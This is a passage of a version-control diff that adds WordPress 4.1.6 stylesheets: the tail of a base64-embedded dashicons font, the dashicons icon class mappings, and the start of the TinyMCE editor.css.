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) format('woff'),
+		url(../fonts/dashicons.ttf) format("truetype"),
+		url(../fonts/dashicons.svg#dashicons) format("svg");
+	font-weight: normal;
+	font-style: normal;
+}
+
+.dashicons,
+.dashicons-before:before {
+	display: inline-block;
+	width: 20px;
+	height: 20px;
+	font-size: 20px;
+	line-height: 1;
+	font-family: "dashicons";
+	text-decoration: inherit;
+	font-weight: normal;
+	font-style: normal;
+	vertical-align: top;
+	text-align: center;
+	-webkit-transition: color .1s ease-in 0;
+	transition: color .1s ease-in 0;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+/* Admin Menu Icons */
+
+.dashicons-menu:before {
+	content: "\f333";
+}
+
+.dashicons-admin-site:before {
+	content: "\f319";
+}
+
+.dashicons-dashboard:before {
+	content: "\f226";
+}
+
+.dashicons-admin-media:before {
+	content: "\f104";
+}
+
+.dashicons-admin-page:before {
+	content: "\f105";
+}
+
+.dashicons-admin-comments:before {
+	content: "\f101";
+}
+
+.dashicons-admin-appearance:before {
+	content: "\f100";
+}
+
+.dashicons-admin-plugins:before {
+	content: "\f106";
+}
+
+.dashicons-admin-users:before {
+	content: "\f110";
+}
+
+.dashicons-admin-tools:before {
+	content: "\f107";
+}
+
+.dashicons-admin-settings:before {
+	content: "\f108";
+}
+
+.dashicons-admin-network:before {
+	content: "\f112";
+}
+
+.dashicons-admin-generic:before {
+	content: "\f111";
+}
+
+.dashicons-admin-home:before {
+	content: "\f102";
+}
+
+.dashicons-admin-collapse:before {
+	content: "\f148";
+}
+
+
+/* Both Admin Menu and Post Formats */
+
+.dashicons-admin-links:before,
+.dashicons-format-links:before {
+	content: "\f103";
+}
+
+.dashicons-admin-post:before,
+.dashicons-format-standard:before {
+	content: "\f109";
+}
+
+
+/* Post Format Icons */
+
+.dashicons-format-image:before {
+	content: "\f128";
+}
+
+.dashicons-format-gallery:before {
+	content: "\f161";
+}
+
+.dashicons-format-audio:before {
+	content: "\f127";
+}
+
+.dashicons-format-video:before {
+	content: "\f126";
+}
+
+.dashicons-format-chat:before {
+	content: "\f125";
+}
+
+.dashicons-format-status:before {
+	content: "\f130";
+}
+
+.dashicons-format-aside:before {
+	content: "\f123";
+}
+
+.dashicons-format-quote:before {
+	content: "\f122";
+}
+
+
+/* Welcome Screen Icons */
+
+.dashicons-welcome-write-blog:before,
+.dashicons-welcome-edit-page:before {
+	content: "\f119";
+}
+
+.dashicons-welcome-add-page:before {
+	content: "\f133";
+}
+
+.dashicons-welcome-view-site:before {
+	content: "\f115";
+}
+
+.dashicons-welcome-widgets-menus:before {
+	content: "\f116";
+}
+
+.dashicons-welcome-comments:before {
+	content: "\f117";
+}
+
+.dashicons-welcome-learn-more:before {
+	content: "\f118";
+}
+
+
+/* Image Editing Icons */
+
+.dashicons-image-crop:before {
+	content: "\f165";
+}
+
+.dashicons-image-rotate-left:before {
+	content: "\f166";
+}
+
+.dashicons-image-rotate-right:before {
+	content: "\f167";
+}
+
+.dashicons-image-flip-vertical:before {
+	content: "\f168";
+}
+
+.dashicons-image-flip-horizontal:before {
+	content: "\f169";
+}
+
+
+/* Both Image Editing and TinyMCE */
+
+.dashicons-undo:before {
+	content: "\f171";
+}
+
+.dashicons-redo:before {
+	content: "\f172";
+}
+
+/* TinyMCE Icons */
+
+.dashicons-editor-bold:before {
+	content: "\f200";
+}
+
+.dashicons-editor-italic:before {
+	content: "\f201";
+}
+
+.dashicons-editor-ul:before {
+	content: "\f203";
+}
+
+.dashicons-editor-ol:before {
+	content: "\f204";
+}
+
+.dashicons-editor-quote:before {
+	content: "\f205";
+}
+
+.dashicons-editor-alignleft:before {
+	content: "\f206";
+}
+
+.dashicons-editor-aligncenter:before {
+	content: "\f207";
+}
+
+.dashicons-editor-alignright:before {
+	content: "\f208";
+}
+
+.dashicons-editor-insertmore:before {
+	content: "\f209";
+}
+
+.dashicons-editor-spellcheck:before {
+	content: "\f210";
+}
+
+.dashicons-editor-distractionfree:before,
+.dashicons-editor-expand:before {
+	content: "\f211";
+}
+
+.dashicons-editor-contract:before {
+	content: "\f506";
+}
+
+.dashicons-editor-kitchensink:before {
+	content: "\f212";
+}
+
+.dashicons-editor-underline:before {
+	content: "\f213";
+}
+
+.dashicons-editor-justify:before {
+	content: "\f214";
+}
+
+.dashicons-editor-textcolor:before {
+	content: "\f215";
+}
+
+.dashicons-editor-paste-word:before {
+	content: "\f216";
+}
+
+.dashicons-editor-paste-text:before {
+	content: "\f217";
+}
+
+.dashicons-editor-removeformatting:before {
+	content: "\f218";
+}
+
+.dashicons-editor-video:before {
+	content: "\f219";
+}
+
+.dashicons-editor-customchar:before {
+	content: "\f220";
+}
+
+.dashicons-editor-outdent:before {
+	content: "\f221";
+}
+
+.dashicons-editor-indent:before {
+	content: "\f222";
+}
+
+.dashicons-editor-help:before {
+	content: "\f223";
+}
+
+.dashicons-editor-strikethrough:before {
+	content: "\f224";
+}
+
+.dashicons-editor-unlink:before {
+	content: "\f225";
+}
+
+.dashicons-editor-rtl:before {
+	content: "\f320";
+}
+
+.dashicons-editor-break:before {
+	content: "\f474";
+}
+
+.dashicons-editor-code:before {
+	content: "\f475";
+}
+
+.dashicons-editor-paragraph:before {
+	content: "\f476";
+}
+
+/* Post Icons */
+
+.dashicons-align-left:before {
+	content: "\f135";
+}
+
+.dashicons-align-right:before {
+	content: "\f136";
+}
+
+.dashicons-align-center:before {
+	content: "\f134";
+}
+
+.dashicons-align-none:before {
+	content: "\f138";
+}
+
+.dashicons-lock:before {
+	content: "\f160";
+}
+
+.dashicons-calendar:before {
+	content: "\f145";
+}
+
+.dashicons-calendar-alt:before {
+	content: "\f508";
+}
+
+.dashicons-visibility:before {
+	content: "\f177";
+}
+
+.dashicons-post-status:before {
+	content: "\f173";
+}
+
+.dashicons-edit:before {
+	content: "\f464";
+}
+
+.dashicons-post-trash:before,
+.dashicons-trash:before {
+	content: "\f182";
+}
+
+
+/* Sorting */
+
+.dashicons-external:before {
+	content: "\f504";
+}
+
+.dashicons-arrow-up:before {
+	content: "\f142";
+}
+
+.dashicons-arrow-down:before {
+	content: "\f140";
+}
+
+.dashicons-arrow-left:before {
+	content: "\f141";
+}
+
+.dashicons-arrow-right:before {
+	content: "\f139";
+}
+
+.dashicons-arrow-up-alt:before {
+	content: "\f342";
+}
+
+.dashicons-arrow-down-alt:before {
+	content: "\f346";
+}
+
+.dashicons-arrow-left-alt:before {
+	content: "\f340";
+}
+
+.dashicons-arrow-right-alt:before {
+	content: "\f344";
+}
+
+.dashicons-arrow-up-alt2:before {
+	content: "\f343";
+}
+
+.dashicons-arrow-down-alt2:before {
+	content: "\f347";
+}
+
+.dashicons-arrow-left-alt2:before {
+	content: "\f341";
+}
+
+.dashicons-arrow-right-alt2:before {
+	content: "\f345";
+}
+
+.dashicons-leftright:before {
+	content: "\f229";
+}
+
+.dashicons-sort:before {
+	content: "\f156";
+}
+
+.dashicons-randomize:before {
+	content: "\f503"
+}
+
+.dashicons-list-view:before {
+	content: "\f163";
+}
+
+.dashicons-exerpt-view:before {
+	content: "\f164";
+}
+
+.dashicons-grid-view:before {
+	content: "\f509";
+}
+
+
+/* WPorg specific icons: Jobs, Profiles, WordCamps */
+
+.dashicons-hammer:before {
+	content: "\f308";
+}
+
+.dashicons-art:before {
+	content: "\f309";
+}
+
+.dashicons-migrate:before {
+	content: "\f310";
+}
+
+.dashicons-performance:before {
+	content: "\f311";
+}
+
+.dashicons-universal-access:before {
+	content: "\f483";
+}
+
+.dashicons-universal-access-alt:before {
+	content: "\f507";
+}
+
+.dashicons-tickets:before {
+	content: "\f486";
+}
+
+.dashicons-nametag:before {
+	content: "\f484";
+}
+
+.dashicons-clipboard:before {
+	content: "\f481";
+}
+
+.dashicons-heart:before {
+	content: "\f487";
+}
+
+.dashicons-megaphone:before {
+	content: "\f488";
+}
+
+.dashicons-schedule:before {
+	content: "\f489";
+}
+
+
+/* Internal/Products */
+
+.dashicons-wordpress:before {
+	content: "\f120";
+}
+
+.dashicons-wordpress-alt:before {
+	content: "\f324";
+}
+
+.dashicons-pressthis:before {
+	content: "\f157";
+}
+
+.dashicons-update:before {
+	content: "\f463";
+}
+
+.dashicons-screenoptions:before {
+	content: "\f180";
+}
+
+.dashicons-info:before {
+	content: "\f348";
+}
+
+.dashicons-cart:before {
+	content: "\f174";
+}
+
+.dashicons-feedback:before {
+	content: "\f175";
+}
+
+.dashicons-cloud:before {
+	content: "\f176";
+}
+
+.dashicons-translation:before {
+	content: "\f326";
+}
+
+
+/* Taxonomies */
+
+.dashicons-tag:before {
+	content: "\f323";
+}
+
+.dashicons-category:before {
+	content: "\f318";
+}
+
+
+/* Widget icons */
+
+.dashicons-archive:before {
+	content: "\f480";
+}
+
+.dashicons-tagcloud:before {
+	content: "\f479";
+}
+
+.dashicons-text:before {
+	content: "\f478";
+}
+
+
+/* Media icons */
+
+.dashicons-media-archive:before {
+	content: "\f501"
+}
+
+.dashicons-media-audio:before {
+	content: "\f500"
+}
+
+.dashicons-media-code:before {
+	content: "\f499"
+}
+
+.dashicons-media-default:before {
+	content: "\f498"
+}
+
+.dashicons-media-document:before {
+	content: "\f497"
+}
+
+.dashicons-media-interactive:before {
+	content: "\f496"
+}
+
+.dashicons-media-spreadsheet:before {
+	content: "\f495"
+}
+
+.dashicons-media-text:before {
+	content: "\f491"
+}
+
+.dashicons-media-video:before {
+	content: "\f490"
+}
+
+.dashicons-playlist-audio:before {
+	content: "\f492"
+}
+
+.dashicons-playlist-video:before {
+	content: "\f493"
+}
+
+.dashicons-controls-play:before {
+	content: "\f522"
+}
+
+.dashicons-controls-pause:before {
+	content: "\f523"
+}
+
+.dashicons-controls-forward:before {
+	content: "\f519"
+}
+
+.dashicons-controls-skipforward:before {
+	content: "\f517"
+}
+
+.dashicons-controls-back:before {
+	content: "\f518"
+}
+
+.dashicons-controls-skipback:before {
+	content: "\f516"
+}
+
+.dashicons-controls-repeat:before {
+	content: "\f515"
+}
+
+.dashicons-controls-volumeon:before {
+	content: "\f521"
+}
+
+.dashicons-controls-volumeoff:before {
+	content: "\f520"
+}
+
+
+/* Alerts/Notifications/Flags */
+
+.dashicons-yes:before {
+	content: "\f147";
+}
+
+.dashicons-no:before {
+	content: "\f158";
+}
+
+.dashicons-no-alt:before {
+	content: "\f335";
+}
+
+.dashicons-plus:before {
+	content: "\f132";
+}
+
+.dashicons-plus-alt:before {
+	content: "\f502"
+}
+
+.dashicons-minus:before {
+	content: "\f460";
+}
+
+.dashicons-dismiss:before {
+	content: "\f153";
+}
+
+.dashicons-marker:before {
+	content: "\f159";
+}
+
+.dashicons-star-filled:before {
+	content: "\f155";
+}
+
+.dashicons-star-half:before {
+	content: "\f459";
+}
+
+.dashicons-star-empty:before {
+	content: "\f154";
+}
+
+.dashicons-flag:before {
+	content: "\f227";
+}
+
+
+/* Social Icons */
+
+.dashicons-share:before {
+	content: "\f237";
+}
+
+.dashicons-share1:before {
+	content: "\f237";
+}
+
+.dashicons-share-alt:before {
+	content: "\f240";
+}
+
+.dashicons-share-alt2:before {
+	content: "\f242";
+}
+
+.dashicons-twitter:before {
+	content: "\f301";
+}
+
+.dashicons-rss:before {
+	content: "\f303";
+}
+
+.dashicons-email:before {
+	content: "\f465";
+}
+
+.dashicons-email-alt:before {
+	content: "\f466";
+}
+
+.dashicons-facebook:before {
+	content: "\f304";
+}
+
+.dashicons-facebook-alt:before {
+	content: "\f305";
+}
+
+.dashicons-networking:before {
+	content: "\f325";
+}
+
+.dashicons-googleplus:before {
+	content: "\f462";
+}
+
+
+/* Misc/CPT */
+
+.dashicons-location:before {
+	content: "\f230";
+}
+
+.dashicons-location-alt:before {
+	content: "\f231";
+}
+
+.dashicons-camera:before {
+	content: "\f306";
+}
+
+.dashicons-images-alt:before {
+	content: "\f232";
+}
+
+.dashicons-images-alt2:before {
+	content: "\f233";
+}
+
+.dashicons-video-alt:before {
+	content: "\f234";
+}
+
+.dashicons-video-alt2:before {
+	content: "\f235";
+}
+
+.dashicons-video-alt3:before {
+	content: "\f236";
+}
+
+.dashicons-vault:before {
+	content: "\f178";
+}
+
+.dashicons-shield:before {
+	content: "\f332";
+}
+
+.dashicons-shield-alt:before {
+	content: "\f334";
+}
+
+.dashicons-sos:before {
+	content: "\f468";
+}
+
+.dashicons-search:before {
+	content: "\f179";
+}
+
+.dashicons-slides:before {
+	content: "\f181";
+}
+
+.dashicons-analytics:before {
+	content: "\f183";
+}
+
+.dashicons-chart-pie:before {
+	content: "\f184";
+}
+
+.dashicons-chart-bar:before {
+	content: "\f185";
+}
+
+.dashicons-chart-line:before {
+	content: "\f238";
+}
+
+.dashicons-chart-area:before {
+	content: "\f239";
+}
+
+.dashicons-groups:before {
+	content: "\f307";
+}
+
+.dashicons-businessman:before {
+	content: "\f338";
+}
+
+.dashicons-id:before {
+	content: "\f336";
+}
+
+.dashicons-id-alt:before {
+	content: "\f337";
+}
+
+.dashicons-products:before {
+	content: "\f312";
+}
+
+.dashicons-awards:before {
+	content: "\f313";
+}
+
+.dashicons-forms:before {
+	content: "\f314";
+}
+
+.dashicons-testimonial:before {
+	content: "\f473";
+}
+
+.dashicons-portfolio:before {
+	content: "\f322";
+}
+
+.dashicons-book:before {
+	content: "\f330";
+}
+
+.dashicons-book-alt:before {
+	content: "\f331";
+}
+
+.dashicons-download:before {
+	content: "\f316";
+}
+
+.dashicons-upload:before {
+	content: "\f317";
+}
+
+.dashicons-backup:before {
+	content: "\f321";
+}
+
+.dashicons-clock:before {
+	content: "\f469";
+}
+
+.dashicons-lightbulb:before {
+	content: "\f339";
+}
+
+.dashicons-microphone:before {
+	content: "\f482";
+}
+
+.dashicons-desktop:before {
+	content: "\f472";
+}
+
+.dashicons-tablet:before {
+	content: "\f471";
+}
+
+.dashicons-smartphone:before {
+	content: "\f470";
+}
+
+.dashicons-phone:before {
+	content: "\f525";
+}
+
+.dashicons-smiley:before {
+	content: "\f328";
+}
+
+.dashicons-index-card:before {
+	content: "\f510";
+}
+
+.dashicons-carrot:before {
+	content: "\f511";
+}
+
+.dashicons-building:before {
+	content: "\f512";
+}
+
+.dashicons-store:before {
+	content: "\f513";
+}
+
+.dashicons-album:before {
+	content: "\f514";
+}
+
+.dashicons-palmtree:before {
+	content: "\f527";
+}
+
+.dashicons-tickets-alt:before {
+	content: "\f524";
+}
+
+.dashicons-money:before {
+	content: "\f526";
+}
Index: /tags/4.1.6/src/wp-includes/css/editor.css
===================================================================
--- /tags/4.1.6/src/wp-includes/css/editor.css	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/css/editor.css	(revision 33402)
@@ -0,0 +1,2125 @@
+/*------------------------------------------------------------------------------
+ TinyMCE and Quicklinks toolbars
+------------------------------------------------------------------------------*/
+
+/* TinyMCE widgets/containers */
+
+.mce-container,
+.mce-container *,
+.mce-widget,
+.mce-widget * {
+	color: inherit;
+	font-family: inherit;
+}
+
+/* TinyMCE windows */
+#mce-modal-block.mce-in {
+	opacity: 0.7;
+	filter: alpha(opacity=70);
+}
+
+.mce-window {
+	-webkit-border-radius: 0;
+	border-radius: 0;
+	-webkit-box-shadow: 0 3px 6px rgba( 0, 0, 0, 0.3 );
+	box-shadow: 0 3px 6px rgba( 0, 0, 0, 0.3 );
+	-webkit-font-smoothing: subpixel-antialiased;
+}
+
+.mce-window .mce-container-body.mce-abs-layout {
